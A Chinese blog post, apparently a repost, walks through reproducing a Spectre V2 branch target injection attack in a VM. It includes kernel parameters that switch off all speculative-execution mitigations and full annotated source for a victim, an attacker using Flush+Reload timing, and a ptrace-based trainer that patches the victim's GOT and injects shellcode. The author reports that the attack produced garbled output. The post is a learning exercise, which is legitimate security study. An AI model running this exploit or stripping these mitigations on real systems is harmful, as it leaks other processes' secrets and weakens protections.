ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Spectre V2 理论与实践

2022-03-18 18:09:10  阅读:154  来源: 互联网

标签:__ int pid 实践 Spectre char V2 client include


检测系统是否存在Spectre相关漏洞

环境: VMWare Ubuntu18.04

使用spectre-meltdown-checker程序进行检测:

./spectre-meltdown-checker.sh

看到显示存在缓解措施,根据参考[1]中的方法禁用spectre的补丁
(因为在硬件漏洞是没法直接修复硬件,只能在软件上采取一定的缓解措施):

//修改内核启动参数
gedit /etc/default/grub
//在 GRUB_CMDLINE_LINUX= 此行最后加入下面的参数:
//noibrs noibpb nopti nospectre_v2 nospectre_v1 l1tf=off nospec_store_bypass_disable no_stf_barrier mds=off tsx=on tsx_async_abort=off mitigations=off
//重新生成 grub.cfg 文件
grub2-mkconfig -o /boot/efi/EFI/centos/grub.cfg
grub2-mkconfig -o /boot/grub2/grub.cfg
//重启系统
systemctl reboot

再次检测spectre V2状态,看到vlunerable:
在这里插入图片描述

执行Spectre V2攻击

攻击代码见参考[2],代码对应的分析见[3]:

https://github.com/qiutianshu/spectre.git
cd spectre
make

本文使用的是VMWare Ubuntu 18.04,make时报错:
在这里插入图片描述
解决方法参考[4]:

//修改Makefile文件,在GNU一行将 -fno-pie改为 -no-pie
gedit Makefile

再次make,根据警告信息将attack.c中ld修改为d,即可make成功:
在这里插入图片描述

//开启受害者进程: 
./victim your_secret
//实施探测: 
bash start.sh

攻击结果如下,出现了乱码,与预期结果不符。
在这里插入图片描述
暂时还没有找到什么原因(待补充。。。)

Spectre V2原理分析

Spectre V2:branch target injection 的攻击目标是BTB(branch target buffer),它利用了处理器执行间接跳转时的推测执行,当跳转的目标地址不在Cache中、需要从内存中读取时,就会执行分支地址预测,使用BTB预测当前间接跳转指令对应的目标地址
这存在的问题是:同一个处理器的不同应用程序共用一个BTB,攻击者通过用户态程序执行间接跳转指令来训练BTB,从而使同一个处理器上运行的Linux内核运行间接跳转指令时,分支预测器会被误导跳转到攻击者设计的一个特定地址上,运行攻击者设计的程序。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

Spectre V2 attack 代码分析

victim.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "common.h"

//Flush+Reload中两个进程之间共享一片内存区域(victim与attacker均可访问),victim通过预测执行将secret字符映射为共享内存的命中位置,而后attack探测出这个命中位置进而还原出secret。
//这个区域可以建立在系统的共享库中,这里为了清晰讲解攻击原理,直接在victim的可执行文件的.rodata段插入了一个64Kb的ProbeTable数组(256个ascii字符 × 步长256)。
__attribute__((section(".rodata.transmit"), aligned(0x10000))) const char ProbeTable[0x10000] = {'x'};       //64Kb __attribute__((constructor))在main函数前被调用
__attribute__((constructor)) void init() {
    int i;
    for (i = 0; i < sizeof(ProbeTable)/0x1000; i++)
    	//volatile确保本条指令不会因编译器优化而省略
        *(volatile char *) &ProbeTable[i*0x1000];
}

//在victim中手动编写gadget,在sprintf前攻击者可以控制rdx使其指向secret
__asm__(".text\n.globl gadget\ngadget:\n"       //编到.text段,导出gadget符号
        "xorl %eax, %eax\n"                     //清空eax
        "movb (%rdx), %ah\n"                    //rdx可以被攻击者控制
        "movl ProbeTable(%eax), %eax\n"         //访存
        "retq\n");

char *banner = "  oggsa v1.0";
char secret[128]={'x'};

int main(int argc, char *argv[]){
    int server_sockfd, client_sockfd;
    struct sockaddr_in server_address;
    struct sockaddr_in client_address;
    int client_len;
    char buf[32];
    char send[32];

    if(argc != 2){
        fprintf(stderr, "Usage: victim secret");
        exit(EXIT_FAILURE);
    }

    strcpy(secret, argv[1]);           //拷贝机密字符串
    //socket套接字:使主机的进程间可以互相通信。套接字地址:主机IP-端口对。
    // socket(AF_INET, SOCK_STREAM, 0)表示创建一个套接字
    //AF_INET为IPV4地址族,SOCK_STREAM指流式套接字,0不指定协议类型,返回句柄
    server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
    server_address.sin_family = AF_INET;
    //htons():将主机字节顺序转换为网络字节顺序
    server_address.sin_port = htons(8888);
    //htonl():将主机的无符号长整形数转换成网络字节顺序,INADDR_ANY默认0.0.0.0
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
	
	//bind():将一个本地地址和一个套机口捆绑
	//int bind( int sockfd , const struct sockaddr * my_addr, socklen_t addrlen);
    bind(server_sockfd, &server_address, sizeof(server_address));
    listen(server_sockfd, 5);
	
	//以下代码的功能:victim接受server_sockfd连接并创建套接口client_fd -> 读client_fd数据到buf -> buf写入a -> 将a写入send -> send写入client_sockfd
	//即:victim通过套接字与攻击者attack进行简单的通信,victim接收attack发过来的字符串,提取其中的整数并将整数格式化为字符串返回给attack。
    while(1){
        long a;
        //accept():在一个套接口接受的一个连接,从等待连接队列中抽取第一个连接并创建一个同类型套接口,返回句柄
        client_sockfd = accept(server_sockfd, &client_address, (socklen_t*)&client_len);
        //read():返回读取的字节数。
        //ssize_t read(int fd, void *buf, size_t count);
        while(read(client_sockfd, buf, 32)){
        	//从client_sockfd读取字节数不为0时
        	//sscanf():将buf中的数据按格式读入a所在地址中
            sscanf(buf, "%ld\n", &a);
            //sprint():将a中的数据按格式写入send中
            sprintf(send, "%ld\n", a);
            //write():从指针buf指向的内存空间写入count个字节到fd所指的文件内。
            //size_t write (int fd,const void * buf,size_t count);
            write(client_sockfd, send, 16);
        }
        close(client_sockfd);
    }
    close(server_sockfd);
    exit(EXIT_SUCCESS);
}

attack.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <x86intrin.h>
#include "common.h"


char hint[256] = {'x'};

/**
 * 参数:victim文件名、secret地址(0x6310e0)、信息长度、THRESHOLD
*/
int main(int argc, char *argv[]){
    int client_fd;
    struct sockaddr_in client_address;
    int result;
    int index,ch, max;
    int fd, i, j;
    unsigned secret, length, end;
    char buf[32];
    char addr[32];
    char *exe;
    char *mm;
    char *address;

    if(argc != 5){
        fprintf(stderr, "error in %s, lines %d", __FILE__, __LINE__);
        exit(EXIT_FAILURE);
    }

    exe = argv[1];                                      //victim
    secret = get_long(argv[2]);
    length = get_long(argv[3]);
    THRESHOLD = get_long(argv[4]);
    end = secret + length;

    printf("Secret offset: %x, length: %d\nfile:%s, THRESHOLD:%d\n", secret, length, exe, THRESHOLD);

    fd = open(exe, O_RDONLY, 0666);
    //使用mmap将正在运行的victim的ProbeTable映射到attack进程(只读)
    mm = mmap(NULL, 0x10000, PROT_READ, MAP_SHARED, fd, 0x20000);    //victim文件偏移0x20000处只读共享映射到进程中
    if(mm == MAP_FAILED){
        perror("mmap");
        exit(EXIT_FAILURE);
    }
	//attacker创建套接字与victim通信
    client_fd = socket(AF_INET, SOCK_STREAM, 0);
    client_address.sin_family = AF_INET;
    client_address.sin_port = htons(8888);
    client_address.sin_addr.s_addr = inet_addr("127.0.0.1");
    result = connect(client_fd, &client_address, sizeof(client_address));
    if(result == -1){
        perror("net connect");
        exit(EXIT_FAILURE);
    }

	//intial:end = secret + length
    for(;secret < end; secret++){
        memset(hint, '\0', sizeof(hint));
        max = 0;
        for(;;){
            for(i = 0; i < 8; i++){
            	//sprint():将secret(对应地址)中的数据按格式写入addr中	
                sprintf(addr, "%d\n", secret);                  //控制rdx = secret
                //将addr中的数据写入client_fd
                write(client_fd, addr, 32);
                //从client_fd读取数据
                read(client_fd, buf, 32);
                memset(addr, '\0', 32);
            }

            for(j = 0; j < 256; j++){
            	//对0-255简单随机
                index = (j * 167 + 13) & 255; 
                //监测共享ProbeTable中的数据,在cache中probe()函数返回1
                address = &mm[index * 0x100];
                if(probe(address)){
                    hint[index]++;
                    //max保存多次尝试中index对应地址cache hit的最多的次数,对应index即为secret的ascii值。
                    if(hint[index] > max){
                        max = hint[index];
                        ch = index;
                    }
                }
            }
            if(max > 4)
                break;
        }
        printf("%c", (char)ch);
    }
   printf("\n");
    close(client_fd);
    exit(EXIT_SUCCESS);
}

train.c

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sched.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <asm/ptrace-abi.h> /*ORIG_EAX*/
#include <sys/reg.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <errno.h>
#include <semaphore.h>
#include <x86intrin.h>
#include "common.h"

//Linux将进程绑定cpu以提高性能
void setcpu(int cpu){
	//声明一个cpu_set_t,cpu_set_t其实是一个bit串,每个bit表示进程是否要与某个CPU核绑定
    cpu_set_t mask;
    //CPU_ZERO():初始化bit数
    CPU_ZERO(&mask);
    //根据输入的cpu序号设置cpu_set_t中相应的bit位
    CPU_SET(cpu, &mask);
    //sched_setaffinity()将进程绑定CPU
    sched_setaffinity(getpid() , sizeof(mask), &mask);
}

/**
 * 参数:victim文件名、sprintf@plt地址(400970)、gardget地址(400cc4)
*/
void trainer(char *exe, unsigned plt, unsigned gadget, unsigned *got,int cpu){
    pid_t pid;
    int res;
    int stat;
    unsigned longs, got_out; 
    unsigned long ip;   
    struct user_regs_struct regs;

	//fork()通过系统调用创建一个与原有进程相似的进程(运行的内容与位置均一致),并把原来进程的所有值都复制到新的新进程中。
	//在父进程中,fork返回新创建子进程的进程ID;在子进程中,fork返回0;出现错误,fork返回-1;
    pid = fork();
    if(pid == -1){
        error_log("fork");
    }
	//如果在子进程中
    if(pid == 0){
    	//将子进程绑定cpu(查看源代码shell文件中的调用没有设置cpu参数,应该默认0)
        setcpu(cpu);                                //设置子进程的cpu亲和度
        //ptrace():系统调用提供一个进程(tracer)跟踪另一个进程(tracee),可以检查和改变tracee进程的内存和寄存器数据
        //long ptrace(enum _ptrace_request request,pid_t pid,void * addr ,void *data);
        res = ptrace(PTRACE_TRACEME, 0, 0, 0);
        if(res == -1){
            error_log("ptrace");
        }
        //execl():进程替换函数
        //int execl(const char *path, const char *arg, ...);
        execl(exe, exe, "qiutianshu", (char*)0);    //子进程中启动victim
    }

    waitpid(pid, &stat, 0);                         //捕获子进程发出的SIGTRAP信号,获得子进程的控制权
    ptrace(PTRACE_GETREGS, pid, 0, &regs);          //读取17个寄存器的值
    ip = regs.rip;                                  //当前指令寄存器的位置,这里只考虑x86_64的情况
    longs = ptrace(PTRACE_PEEKDATA, pid, plt+2, 0); //读取该间接跳转的operand值
    got_out = longs + plt + 6;                      //got表项地址,这里可能需要修改
    *got = got_out;
    
    ptrace(PTRACE_POKEDATA, pid, got_out, gadget);     //gadget地址写入got位置
    ptrace(PTRACE_POKEDATA, pid, gadget, 0xc3c3c3c3);  //gadget地址处写入连续四个ret指令

    union u
    {
        unsigned long val;
        char shellcode[16];                                    
    }loop;
    
    sprintf(loop.shellcode, "\xb8%c%c%c", (plt & 0xff), (plt & 0xff00) >> 8, (plt & 0xff0000) >> 16);              // mov eax, sprintf@plt
    ptrace(PTRACE_POKEDATA, pid, ip, loop.val);       
    memcpy(loop.shellcode, "\x00\xff\xd0\xeb",4);       //call eax
    ptrace(PTRACE_POKEDATA, pid, ip + 4, loop.val);
    memcpy(loop.shellcode, "\xfc\x90\x90\x90",4);       //jmp back,nop,nop,nop
    ptrace(PTRACE_POKEDATA, pid, ip + 8, loop.val);
    ptrace(PTRACE_DETACH, pid, 0, 0);                   //调试进程分离,子进程独立运行
}

void evictor(void * got){
    pid_t pid;
    pid = fork();
    if(pid == 0){
        for(;;)
            evict(got);
    }

}

/**
 * 接收参数:victim文件,sprintf@plt(0x4007a0),gadget(0x400aa5)地址
*/
int main(int argc, char *argv[]){
    unsigned plt, gadget, got;
    char *exe;
    int i;

    if(argc != 4){
        fprintf(stderr, "Usage: %s file strcat@plt gadget", argv[0]);
        exit(EXIT_FAILURE);
    }
    exe = argv[1];                           //victim
    plt = get_long(argv[2]);                 //sprinf@plt
    gadget = get_long(argv[3]);              //gadget

    for(i = 0; i < 8; i++){
        trainer(exe, plt, gadget, &got, i);  //训练indirect jump
        printf("cpu%d: got is %x\n", i, got);
    }

    evictor((void *)got);                    //刷新各级缓存的got数据
    for(;;)pause();                          //父进程停在这里
    exit(EXIT_SUCCESS);
}

common.h

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>

//#define THRESHOLD 350

int THRESHOLD;

unsigned long get_long(char *input){
    char *end;
    int res = strtoul(input, &end, 0);
    if(*end != '\0'){
        fprintf(stderr, "%s translate error!", input);
        exit(EXIT_FAILURE);
    }
    return res;
}

void error_log(char *reason){
    fprintf(stderr, "%s failed ", reason);
    exit(EXIT_FAILURE);
}

//驱逐got表项
void evict(void *ptr) {
    static char *space = NULL;
    if (space == NULL) {
        space = mmap(NULL, 0x4000000, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
        if(space == MAP_FAILED){
            perror("mmap");
            exit(EXIT_FAILURE);
        }
    }

    unsigned long off = ((unsigned long) ptr) & 0xfff;          //取低12位,确定cache-set
    volatile char *ptr1 = space + off;
    volatile char *ptr2 = ptr1 + 0x2000;                        //两次刷新
    for (int i = 0; i < 4000; i++) {
        *ptr2;
        *ptr1;                  //替换got所在的cache-set
        ptr2 += 0x1000;
        ptr1 += 0x1000;
    }
}

//计时
int probe(char *adrs) {
    volatile unsigned long time;
    asm __volatile__ (
                    " mfence\n"
                    " lfence\n"
                    " rdtsc\n"
                    " lfence\n"
                    " movl %%eax, %%esi \n"
                    " movl (%1), %%eax\n"
                    " lfence\n"
                    " rdtsc\n"
                    " subl %%esi, %%eax \n"
                    " clflush 0(%1)\n"
                    : "=a" (time)
                    : "c" (adrs)
                    : "%esi", "%edx");
                    return (time < THRESHOLD);
}

int probetime(void *adrs) {
    volatile unsigned long time;
    asm __volatile__ (
                    " mfence\n"
                    " lfence\n"
                    " rdtsc\n"
                    " lfence\n"
                    " movl %%eax, %%esi \n"
                    " movl (%1), %%eax\n"
                    " lfence\n"
                    " rdtsc\n"
                    " subl %%esi, %%eax \n"
                    " clflush 0(%1)\n"
                    : "=a" (time)
                    : "c" (adrs)
                    : "%esi", "%edx");
                    return time;
}

static inline void flush(void *ptr) {
    __asm__ volatile("clflush (%0)" : : "r" (ptr));
}

common.c

#include <stdio.h>
#include <stdlib.h>

unsigned long get_long(char *input){
    char *end;
    int res = strtoul(input, &end, 0);
    if(*end != '\0'){
        fprintf(stderr, "%s translate error!", input);
        exit(EXIT_FAILURE);
    }
    return res;
}

void error_log(char *reason){
    fprintf(stderr, "%s failed in %s, line:%d", reason, __FILE__, __LINE__);
    exit(EXIT_FAILURE);
}
#include "stdio.h"
int test1_endian() {
int i = 1;
char *a = (char *)&i;
if (*a == 1)printf("小端\n");
else printf("大端\n");
return 0;
}
int main(){
    test1_endian();
    return 0;
}

参考

[1] 禁用spectre缓解措施:https://konata.tech/2021/11/13/disableMitigations/#VMware-ESXi
[2] 攻击代码:https://github.com/qiutianshu/spectre
[3] 原理讲解1:https://bbs.pediy.com/thread-254288.htm 原理讲解2:https://zhuanlan.zhihu.com/p/114680178
[4] Ubuntu make报错:https://blog.csdn.net/weixin_43207025/article/details/106815625
[5] 其他BranchPoison代码:https://gitee.com/hope2hope/SpectreV2-BranchPoison
[6] X86汇编与机器码在线转换:https://defuse.ca/online-x86-assembler.htm#disassembly

标签:__,int,pid,实践,Spectre,char,V2,client,include
来源: https://blog.csdn.net/diamond_biu/article/details/123478139

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有